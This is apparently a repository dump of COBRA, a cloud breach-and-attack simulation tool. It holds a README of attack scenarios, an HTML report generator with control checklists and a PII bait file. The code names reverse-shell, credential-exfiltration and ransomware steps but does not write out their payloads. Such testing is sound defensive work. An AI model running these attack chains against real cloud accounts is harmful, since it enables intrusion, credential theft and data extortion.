self.exfiltrate_credentials() 205 | self.anomalous_infra_rollout() 206 | return 207 | elif choice == 8: 208 | self.reverse_shell() 209 | return 210 | elif choice == 9: 211 | return 212 | except ValueError as e: 213 | print(e) 214 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

🚀 Cloud Offensive Breach and Risk Assessment (COBRA) Tool 👩‍💻

2 | 3 | 6 | 7 | [![License](https://img.shields.io/badge/License-Apache_2.0-blue.svg)](https://opensource.org/licenses/Apache-2.0) 8 | 9 | ## Description 10 | Cloud Offensive Breach and Risk Assessment (COBRA) is an open-source tool designed to empower users to simulate attacks within multi-cloud environments, offering a comprehensive evaluation of security controls. By automating the testing of various threat vectors including external and insider threats, lateral movement, and data exfiltration, COBRA enables organizations to gain insights into their security posture vulnerabilities. COBRA is designed to conduct simulated attacks to assess an organization's ability to detect and respond to security threats effectively. 11 | 12 | It facilitates Proof of Concept (POC) evaluations, assesses security controls, measures maturity levels, and generates comprehensive reports, enabling organizations to enhance their cloud security resilience through lifelike threat scenarios. 13 | 14 | 15 | ### COBRA Features 16 | 17 | 1. **Seamless Integration for POC and Tool Evaluation**: COBRA provides seamless integration for Proof of Concept (POC) and tool evaluation purposes. Whether you're exploring new cloud-native applications or evaluating existing solutions, COBRA offers a user-friendly interface and flexible deployment options to facilitate effortless testing and assessment. 18 | 19 | 2. **Comprehensive Assessment of Cloud-Native Security Posture**: Gain unparalleled insights into your organization's existing cloud-native security posture with COBRA. Our advanced assessment capabilities enable you to identify vulnerabilities, assess security controls, and pinpoint areas for improvement. By understanding your current security posture, you can proactively address gaps and strengthen your defenses against emerging threats. 20 | 21 | 3. **Benchmarking Against Industry Standards and Best Practices**: COBRA enables you to benchmark your cloud security controls against industry standards and best practices. With our comprehensive benchmarking framework, you can compare your security posture against established benchmarks, identify areas of strength and weakness, and prioritize remediation efforts accordingly. 22 | 23 | 4. **Actionable Insights and Recommendations**: COBRA goes beyond providing insights by providing a report delivering actionable recommendations tailored to your organization's specific needs. Whether it's optimizing security configurations, implementing additional controls, or enhancing incident response processes, COBRA equips you with the tools and guidance needed to bolster your cloud security defenses. 24 | 25 | 5. **Continuous Threat Simulation**: COBRA offers a modular and templatized approach for users to easily integrate additional modules, allowing for continuous threat simulation and adaptability, by providing a flexible framework for adding modules, COBRA ensures that users can tailor their threat simulation capabilities according to evolving security needs, making it an ideal platform for continuous threat simulation. 26 | 27 | 28 | ### Key Features 29 | 30 | - 🤖 Supports Multi-cloud AWS, Azure and GCP environment. 31 | - 🔍 Cloud Native Contextual based analysis. 32 | - 🌐 Seamless multi-cloud attack path simulation. 33 | - 💻 Cloud based tool evaluation based on controls analysis. 34 | - 📊 Generate report and provide check list to mitigate the risk 35 | 36 | ## Prerequisites 37 | 38 | - Python 3.8+ 39 | - pip3 40 | - Pulumi CLI [Docs](https://www.pulumi.com/docs/install/) 41 | - Pulumi Account [here](https://www.pulumi.com/) 42 | - Create Pulumi Personal Access Token [Docs](https://www.pulumi.com/docs/pulumi-cloud/access-management/access-tokens/#creating-personal-access-tokens) 43 | - Use shell to login to Pulumi `$pulumi login` (Paste access token) [Docs](https://www.pulumi.com/docs/cli/commands/pulumi_login/) 44 | - AWS CLI installed 45 | - Will use the default profile credentials unless defined with the environment variables `AWS_PROFILE` and `AWS_REGION` 46 | - Must have the region defined. 47 | - Azure CLI 48 | - Google Cloud SDK 49 | - kubectl [https://kubernetes.io/docs/tasks/tools/](https://kubernetes.io/docs/tasks/tools/) 50 | 51 | 52 | 53 | ## Installation 54 | 55 | ### AWS Credentials 56 | 57 | 1. Install the AWS CLI by following the 58 | instructions [here](https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-install.html). 59 | 60 | 2. Configure your AWS credentials by running: 61 | 62 | ```bash 63 | aws configure 64 | ``` 65 | 66 | You'll be prompted to enter your Access Key ID, Secret Access Key, and default region name. 67 | 68 | 69 | ### Install COBRA Tool 70 | 71 | ``` 72 | python3 -m venv ./venv 73 | ``` 74 | 75 | ``` 76 | source ./venv/bin/activate 77 | ``` 78 | 79 | ``` 80 | pip install -r requirements.txt 81 | ``` 82 | 83 | 84 | ## Usage 85 | 86 | ``` 87 | python3 cobra.py -h 88 | ``` 89 | 90 | ``` 91 | ____ ___ ____ ____ _ 92 | / ___/ _ \| __ )| _ \ / \ 93 | | | | | | | _ \| |_) | / _ \ 94 | | |__| |_| | |_) | _ < / ___ \ 95 | \____\___/|____/|_| \_\/_/ \_\ 96 | 97 | 98 | usage: cobra.py [-h] [--simulation] 99 | [--scenario {cobra-scenario-1,cobra-scenario-2,cobra-scenario-3,cobra-scenario-4,cobra-scenario-5,cobra-scenario-7}] 100 | [--manual] 101 | {launch,status,destroy,post-launch} 102 | 103 | Terminal-based option tool 104 | 105 | positional arguments: 106 | {launch,status,destroy,post-launch} 107 | Action to perform (launch, status, destroy) 108 | 109 | options: 110 | -h, --help show this help message and exit 111 | --simulation Enable simulation mode 112 | --scenario {cobra-scenario-1,cobra-scenario-2,cobra-scenario-3,cobra-scenario-4,cobra-scenario-5,cobra-scenario-7} 113 | Scenario selection 114 | --manual Perform attack manually through post-launch 115 | ``` 116 | 117 | >>Note* ONLY RUN INTO SANDBOX ENVIRONMENT 118 | 119 | #### Automated Simulate Cloud Attacks 120 | 121 | ``` 122 | python3 cobra.py launch --simulation 123 | ``` 124 | 125 | 126 | ``` 127 | ____ ___ ____ ____ _ 128 | / ___| / _ \ | __ ) | _ \ / \ 129 | | | | | | | | _ \ | |_) | / _ \ 130 | | |___ | |_| | | |_) | | _ < / ___ \ 131 | \____| \___/ |____/ |_| \_\ /_/ \_\ 132 | 133 | 134 | Select Attack Scenario of: 135 | 1. Exploit Vulnerable Application, EC2 takeover, Credential Exfiltration & Anomalous Compute Provisioning 136 | 2. Rest API exploit - command injection, credential exfiltration from backend lambda and privilege escalation, rogue identity creation & persistence 137 | 3. Compromising a web app living inside a GKE Pod, access pod secret, escalate privilege, take over the cluster 138 | 4. Exfiltrate EC2 role credentials using IMDSv2 with least privileged access 139 | 5. Instance takeover, abuse s3 access & perform ransomware using external KMS key 140 | 7. Container Escape & Cluster Takeover in EKS 141 | 8. Exit 142 | Enter your choice: 143 | 144 | ``` 145 | 146 | #### Manual Attack simulation 147 | 148 | ``` 149 | python3 cobra.py launch --simulation --manual 150 | ``` 151 | 152 | ``` 153 | ____ ___ ____ ____ _ 154 | / ___| / _ \ | __ ) | _ \ / \ 155 | | | | | | | | _ \ | |_) | / _ \ 156 | | |___ | |_| | | |_) | | _ < / ___ \ 157 | \____| \___/ |____/ |_| \_\ /_/ \_\ 158 | 159 | 160 | Select Attack Scenario of: 161 | 1. Exploit Vulnerable Application, EC2 takeover, Credential Exfiltration & Anomalous Compute Provisioning 162 | 2. Rest API exploit - command injection, credential exfiltration from backend lambda and privilege escalation, rogue identity creation & persistence 163 | 3. Compromising a web app living inside a GKE Pod, access pod secret, escalate privilege, take over the cluster 164 | 4. Exfiltrate EC2 role credentials using IMDSv2 with least privileged access 165 | 5. Instance takeover, abuse s3 access & perform ransomware using external KMS key 166 | 7. Container Escape & Cluster Takeover in EKS 167 | 8. Exit 168 | Enter your choice: 169 | 170 | ``` 171 | 172 | 173 | 174 | #### COBRA Post Launch Simulation 175 | 176 | ``` 177 | python3 cobra.py post-launch --simulation 178 | 179 | ``` 180 | 181 | ``` 182 | ____ ___ ____ ____ _ 183 | / ___| / _ \ | __ ) | _ \ / \ 184 | | | | | | | | _ \ | |_) | / _ \ 185 | | |___ | |_| | | |_) | | _ < / ___ \ 186 | \____| \___/ |____/ |_| \_\ /_/ \_\ 187 | 188 | 189 | Select Attack Scenario of: 190 | 1. Exploit Vulnerable Application, EC2 takeover, Credential Exfiltration & Anomalous Compute Provisioning 191 | 2. Rest API exploit - command injection, credential exfiltration from backend lambda and privilege escalation, rogue identity creation & persistence 192 | 3. Compromising a web app living inside a GKE Pod, access pod secret, escalate privilege, take over the cluster 193 | 4. Exfiltrate EC2 role credentials using IMDSv2 with least privileged access 194 | 5. Instance takeover, abuse s3 access & perform ransomware using external KMS key 195 | 6. Exit 196 | Enter your choice: 1 197 | Select Post Simulation Task: 198 | 1. Upload file in Victim Webserver 199 | 2. Upload file in Attacker Server 200 | 3. SSH inside Victim Webserver 201 | 4. SSH inside Attacker Server 202 | 5. Execute RCE web attack 203 | 6. Perform anomalous compute provision 204 | 7. Exit 205 | Enter your choice: 206 | 207 | ``` 208 | 209 | #### Print Infra Status 210 | 211 | ``` 212 | python3 cobra.py status 213 | ``` 214 | 215 | 216 | ``` 217 | ____ ___ ____ ____ _ 218 | / ___| / _ \ | __ ) | _ \ / \ 219 | | | | | | | | _ \ | |_) | / _ \ 220 | | |___ | |_| | | |_) | | _ < / ___ \ 221 | \____| \___/ |____/ |_| \_\ /_/ \_\ 222 | 223 | 224 | NAME LAST UPDATE RESOURCE COUNT URL 225 | cobra-scenario-1 in progress 14 https://app.pulumi.com/xxxxxx/infra/cobra-scenario-1 226 | fdev 2 months ago 0 https://app.pulumi.com/xxxxxxxx/infra/fdev 227 | cobra-scenario-3 5 minutes ago 4 https://app.pulumi.com/xxxxxxxx/infra/cobra-scenario-3 228 | ``` 229 | 230 | 231 | #### Destroy Simulation 232 | 233 | ``` 234 | python3 cobra.py destroy --scenario 235 | ``` 236 | 237 | ### Current Scenarios 238 | 239 | 1. Exploit Vulnerable Application, EC2 takeover, Credential Exfiltration & Anomalous Compute Provisioning 240 | 2. Rest API exploit - command injection, credential exfiltration from backend lambda and privilige escalation, rogue identity creation & persistence 241 | 3. Compromising a web app living inside a GKE Pod, access pod secret, escalate privilege, take over the cluster 242 | 4. Exfiltrate EC2 role credentials using IMDSv2 with least privileged access 243 | 5. Instance takeover, abuse s3 access & perform ransomware using external KMS key 244 | 7. Container Escape & Cluster Takeover in EKS 245 | 246 | ### To Do / In Roadmap 247 | 248 | - Azure App exploit on a function, data exfiltration from Blob storage & abusing function misconfigs to escalate privileges & leaving a backdoor IAM entity. 249 | - Exploiting an App on VM, exfiltration of data from Cosmos DB & possible takeover of a resource group. 250 | - More scenarios loading... 251 | 252 | ### Tools used 253 | 1. Torghost - [https://github.com/SusmithKrishnan/torghost](https://github.com/SusmithKrishnan/torghost) 254 | 2. Cloud Enumeration Tool - [https://github.com/NotSoSecure/cloud-service-enum](https://github.com/NotSoSecure/cloud-service-enum) 255 | 256 | ### Product Management 257 | 258 | [Vijay Upadhyaya](https://www.linkedin.com/in/vijayupadhyaya/) 259 | 260 | ### Lead Developer's 261 | 262 | [Anand Tiwari](https://www.linkedin.com/in/anandsundartiwari/) 263 | 264 | [Harsha Koushik](https://www.linkedin.com/in/hkoushik/) 265 | 266 | 267 | ## License 268 | 269 | This project is licensed under the Apache Version 2.0, - see the [LICENSE](./LICENSE) file for details 270 | -------------------------------------------------------------------------------- /core/report.py: -------------------------------------------------------------------------------- 1 | import webbrowser 2 | from pathlib import Path 3 | 4 | def gen_report(attacker_vm_id, attacker_vm_ip, infected_vm_id, infected_vm_ip ): 5 | html_template = ''' 6 | 7 | 8 | 9 | 10 | 11 | COBRA Attack Path Report 12 | 79 | 80 | 81 |
82 |
83 | COBRA Logo 84 |

COBRA Attack Path Report

85 |
86 |
87 |

Attack Path Scenario Explained

88 |

The scenario simulates a real-world chained attack, beginning with the exploitation of a vulnerable application. Subsequently, this initial breach facilitates a chain of events, including the takeover of EC2 instances, exfiltration of credentials, and the anomalous provisioning of compute resources..

89 |
90 | 91 |
92 |

Attack Scenario Breakdown

93 |

1. A Web Server EC2 with a vulnerable application container is launched.

94 |

2. Attacker Machine is launched, operates behind Tor.

95 |

3. Attacker exploits the Application, gets shell access of the EC2.

96 |

4. Attacker retrieves and exfiltrates the Role credentials attached to the EC2.

97 |

5. Attacker loads these credentials on his machine.

98 |

6. Attacker launches some infra as a post exploit step.

99 |
100 | 101 |
102 |

Attack Path Graph

103 | Attack Path Graph 104 |
105 |
106 |

Resource Meta Data

107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 |
Attacker VM ID:'''+attacker_vm_id+'''
Attacker VM IP :'''+attacker_vm_ip+'''
Infected VM ID:'''+infected_vm_id+'''
Infected VM IP:'''+infected_vm_ip+'''
127 |
128 |
129 |

List of Controls to Evaluate Post-Attack

130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 |
Controls
Check if controls can identify Vulnerabilities in EC2 instances
Check if controls can identify IAM high-privileged run-instance and pass-role permissions
Check if controls can identify anomaly activity through their threat detection
Check if controls can prevent the attack by blocking RCE payloads
Check if controls can able to identify metadata queries from audit logs
Check if controls logged the activity
157 |
158 |
159 | 160 | 161 | ''' 162 | 163 | with open("cobra-as1-report.html", "w+") as file: 164 | file.write(html_template) 165 | 166 | 167 | print("HTML report generated successfully.") 168 | webbrowser.open_new_tab('file://'+ str(Path.cwd())+'/cobra-as1-report.html') 169 | 170 | def gen_report_2(API_GW_ID, LAMBDA_FUNC_ARN, API_GW_URL, LAMBDA_ROLE_NAME): 171 | html_template = ''' 172 | 173 | 174 | 175 | 176 | 177 | COBRA Attack Path Report 178 | 245 | 246 | 247 |
248 |
249 | COBRA Logo 250 |

COBRA Attack Path Report

251 |
252 |
253 |

Attack Path Scenario Explained

254 |

The scenario simulates a real-world chained attack, beginning with the exploitation of a vulnerable application which is on Lambda, with an API GW. Subsequently, this initial breach facilitates a chain of events, including the credential dsicovery, exfiltration, escalation of credentials, and the anomalous provisioning of Backdoor IAM Role..

255 |
256 | 257 |
258 |

Attack Scenario Breakdown

259 |

1. Application is exploited through API GW, lambda backend

260 |

2. Lambda Role credential is discovered and exfiltrated.

261 |

3. Discovery of Privilege Escalation possibility with the exfiltrated credential.

262 |

4. Attach Privileged Policy to the Role.

263 |

5. Provision a Backdoor IAM Role to maintain persistence.

264 |

6. Whitelist Attacker account id in the trust policy of the backdoor role.

265 |
266 | 267 |
268 |

Attack Path Graph

269 | Attack Path Graph 270 |
271 |
272 |

Resource Meta Data

273 | 274 | 275 | 276 | 277 | 278 | 279 | 280 | 281 | 282 | 283 | 284 | 285 | 286 | 287 | 288 | 289 | 290 | 291 | 292 |
API GW ID:'''+API_GW_ID+'''
Lambda Function ARN :'''+LAMBDA_FUNC_ARN+'''
API GW URL:'''+API_GW_URL+'''
Lambda Role Name:'''+LAMBDA_ROLE_NAME+'''
293 |
294 |
295 |

List of Controls to Evaluate Post-Attack

296 | 297 | 298 | 299 | 300 | 301 | 302 | 303 | 304 | 305 | 306 | 307 | 308 | 309 | 310 | 311 | 312 | 313 | 314 | 315 | 316 | 317 | 318 | 319 | 320 | 321 | 322 |
Controls
Check if API Gatway has Authentication & Autorization for APIs.
Check if API Gateway has WAF integrated which can stop L7 attacks.
Check if any Lambda has any defender layer which could prevent injection & credential exfil.
Check if Role Exfil and usage is being monitoried by eventbridge rules or cloudtrail monitoring.
Check if there are any SCPs which could prevent attaching privileged policies.
Check if new user/role/group creation is monitored.
323 |
324 |
325 | 326 | 327 | ''' 328 | 329 | with open("cobra-as2-report.html", "w+") as file: 330 | file.write(html_template) 331 | 332 | 333 | print("HTML report generated successfully.") 334 | webbrowser.open_new_tab('file://'+ str(Path.cwd())+'/cobra-as2-report.html') 335 | 336 | #gen_report(ATTACKER_SERVER_INSTANCE_ID, ATTACKER_SERVER_PUBLIC_IP, WEB_SERVER_INSTANCE_ID, WEB_SERVER_PUBLIC_IP) 337 | 338 | -------------------------------------------------------------------------------- /scenarios/scenario_5/infra/s3_files/PII_Health_IP_with_multiline.txt.txt: -------------------------------------------------------------------------------- 1 | 2 | 3 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 4 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 5 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 6 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 7 | Most Australians do not eat enough fruit and vegetables. 8 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 9 | 10 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 11 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 12 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 13 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 14 | Most Australians do not eat enough fruit and vegetables. 15 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 16 | 17 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 18 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 19 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 20 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 21 | Most Australians do not eat enough fruit and vegetables. 22 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 23 | 24 | ssn 098-07-3316 Current Time : May 6th 2:50 25 | 26 | 27 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 28 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 29 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 30 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 31 | Most Australians do not eat enough fruit and vegetables. 32 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 33 | 34 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 35 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 36 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 37 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 38 | Most Australians do not eat enough fruit and vegetables. 39 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 40 | 41 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 42 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 43 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 44 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 45 | Most Australians do not eat enough fruit and vegetables. 46 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 47 | 48 | 49 | 50 | 51 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 52 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 53 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 54 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 55 | Most Australians do not eat enough fruit and vegetables. 56 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 57 | 58 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 59 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 60 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 61 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 62 | Most Australians do not eat enough fruit and vegetables. 63 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 64 | 65 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 66 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 67 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 68 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 69 | Most Australians do not eat enough fruit and vegetables. 70 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 71 | 72 | Health care - DEA BB4053839 | BJ6125341 73 | 74 | 75 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 76 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 77 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 78 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 79 | Most Australians do not eat enough fruit and vegetables. 80 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 81 | 82 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 83 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 84 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 85 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 86 | Most Australians do not eat enough fruit and vegetables. 87 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 88 | 89 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 90 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 91 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 92 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 93 | Most Australians do not eat enough fruit and vegetables. 94 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 95 | 96 | 97 | 98 | 99 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 100 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 101 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 102 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 103 | Most Australians do not eat enough fruit and vegetables. 104 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 105 | 106 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 107 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 108 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 109 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 110 | Most Australians do not eat enough fruit and vegetables. 111 | When buying and serving fruit and vegetables, aim for variety to get the most 